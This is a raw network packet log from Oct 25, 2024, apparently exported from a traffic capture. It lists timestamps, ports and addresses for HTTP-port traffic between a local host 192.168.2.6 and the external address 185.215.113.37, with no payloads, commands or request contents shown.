Oct 25, 2024 13:50:19.758532047 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:19.758550882 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:19.758557081 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:19.758572102 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:19.758583069 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:19.758598089 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:19.758599043 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:19.758618116 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:19.758618116 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:19.758632898 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:19.758639097 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:19.758660078 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:19.758665085 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:19.758680105 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:19.758703947 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:19.758733034 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:19.758748055 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:19.758768082 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:19.758791924 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:19.758796930 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:19.758812904 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:19.758829117 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:19.758841038 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:19.758843899 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:19.758852005 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:19.758869886 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:19.758892059 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:19.758929968 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:19.758970022 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:19.758975983 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:19.758991957 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:19.759020090 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:19.759035110 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:19.759057999 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:19.759073019 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:19.759087086 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:19.759105921 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:19.759103060 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:19.759130955 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:19.759136915 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:19.759145021 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:19.759160995 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:19.759181976 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:19.759300947 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:19.759332895 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:19.759346962 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:19.759349108 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:19.759377003 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:19.759393930 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:19.759460926 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:19.759476900 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:19.759491920 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:19.759505033 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:19.759512901 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:19.759520054 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:19.759529114 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:19.759532928 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:19.759547949 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:19.759552956 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:19.759567022 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:19.759588003 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:19.759742022 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:19.759756088 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:19.759771109 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:19.759787083 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:19.759785891 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:19.759808064 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:19.759840965 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:19.759882927 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:19.759917974 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:19.759927034 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:19.759932995 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:19.759946108 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:19.759958982 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:19.759963989 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:19.759972095 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:19.759983063 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:19.759988070 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:19.759999037 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:19.760023117 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:19.760178089 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:19.760224104 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:19.760231018 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:19.760247946 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:19.760268927 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:19.760292053 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:19.760445118 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:19.760461092 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:19.760495901 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:19.760500908 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:19.760520935 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:19.760526896 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:19.760541916 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:19.760545969 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:19.760559082 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:19.760566950 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:19.760575056 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:19.760581970 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:19.760592937 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:19.760602951 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:19.760611057 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:19.760616064 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:19.760634899 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:19.760653973 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:19.760685921 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:19.760700941 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:19.760716915 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:19.760730982 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:19.760731936 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:19.760742903 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:19.760749102 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:19.760755062 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:19.760782003 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:19.760965109 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:19.760997057 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:19.760997057 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:19.761332989 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:19.761384010 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:19.876404047 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:19.876431942 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:19.876450062 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:19.876462936 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:19.876487970 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:19.876497030 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:19.876535892 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:19.876552105 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:19.876568079 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:19.876578093 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:19.876585007 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:19.876593113 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:19.876615047 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:19.876631975 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:19.876797915 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:19.876813889 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:19.876830101 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:19.876842976 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:19.876846075 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:19.876857042 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:19.876863003 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:19.876878023 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:19.876878977 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:19.876885891 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:19.876895905 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:19.876907110 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:19.876910925 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:19.876925945 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:19.876936913 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:19.876940012 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:19.876957893 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:19.876965046 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:19.876974106 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:19.876996994 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:19.877005100 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:19.877012014 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:19.877017021 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:19.877028942 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:19.877046108 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:19.877078056 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:19.877084970 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:19.877125025 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:19.877173901 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:19.877190113 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:19.877204895 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:19.877213955 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:19.877223015 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:19.877228975 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:19.877238989 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:19.877247095 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:19.877255917 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:19.877268076 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:19.877279997 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:19.877298117 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:19.877454996 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:19.877470016 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:19.877485037 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:19.877500057 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:19.877501011 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:19.877510071 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:19.877516985 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:19.877531052 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:19.877532005 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:19.877548933 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:19.877549887 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:19.877566099 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:19.877573967 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:19.877583027 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:19.877597094 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:19.877599955 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:19.877612114 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:19.877614021 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:19.877644062 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:19.877654076 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:19.877779961 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:19.877795935 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:19.877811909 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:19.877826929 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:19.877829075 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:19.877837896 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:19.877842903 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:19.877856970 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:19.877861977 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:19.877877951 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:19.877878904 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:19.877892971 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:19.877897024 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:19.877911091 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:19.877923012 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:19.877931118 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:19.877948999 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:19.877973080 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:19.878143072 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:19.878156900 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:19.878171921 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:19.878185987 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:19.878196001 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:19.878205061 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:19.878211021 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:19.878226995 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:19.878236055 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:19.878241062 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:19.878257036 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:19.878272057 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:19.878281116 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:19.878287077 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:19.878313065 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:19.878326893 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:19.878374100 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:19.878416061 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:19.878490925 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:19.878530025 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:19.878571033 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:19.878586054 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:19.878601074 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:19.878609896 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:19.878627062 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:19.878647089 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:19.920866013 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:19.920916080 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:19.920923948 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:19.920939922 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:19.920965910 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:19.920979977 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:19.993784904 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:19.993828058 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:19.993845940 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:19.993849039 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:19.993864059 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:19.993891001 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:19.993907928 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:19.993923903 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:19.993941069 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:19.993944883 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:19.993966103 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:19.993977070 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:19.994054079 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:19.994070053 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:19.994086027 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:19.994090080 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:19.994127035 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:19.994127035 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:19.994319916 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:19.994343042 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:19.994358063 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:19.994359970 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:19.994374037 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:19.994380951 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:19.994390965 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:19.994391918 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:19.994406939 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:19.994422913 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:19.994427919 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:19.994441032 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:19.994453907 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:19.994477987 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:19.994493008 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:19.994508982 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:19.994515896 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:19.994527102 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:19.994538069 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:19.994546890 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:19.994569063 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:19.994616985 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:19.994632006 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:19.994647026 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:19.994662046 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:19.994662046 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:19.994679928 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:19.994683981 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:19.994709015 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:19.994735003 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:19.994746923 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:19.994762897 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:19.994784117 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:19.994798899 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:19.994889021 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:19.994904995 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:19.994920015 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:19.994929075 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:19.994935036 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:19.994946957 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:19.994951963 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:19.994961977 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:19.994967937 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:19.994986057 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:19.994996071 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:19.995002031 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:19.995021105 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:19.995023966 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:19.995042086 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:19.995069981 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:19.995104074 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:19.995120049 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:19.995136976 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:19.995141983 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:19.995161057 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:19.995171070 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:19.995198011 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:19.995213032 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:19.995228052 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:19.995235920 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:19.995244026 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:19.995250940 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:19.995270967 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:19.995284081 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:19.995331049 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:19.995345116 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:19.995361090 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:19.995369911 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:19.995381117 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:19.995405912 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:19.995462894 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:19.995479107 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:19.995502949 CEST	49712	80	192.168.2.6	185.215.113.37
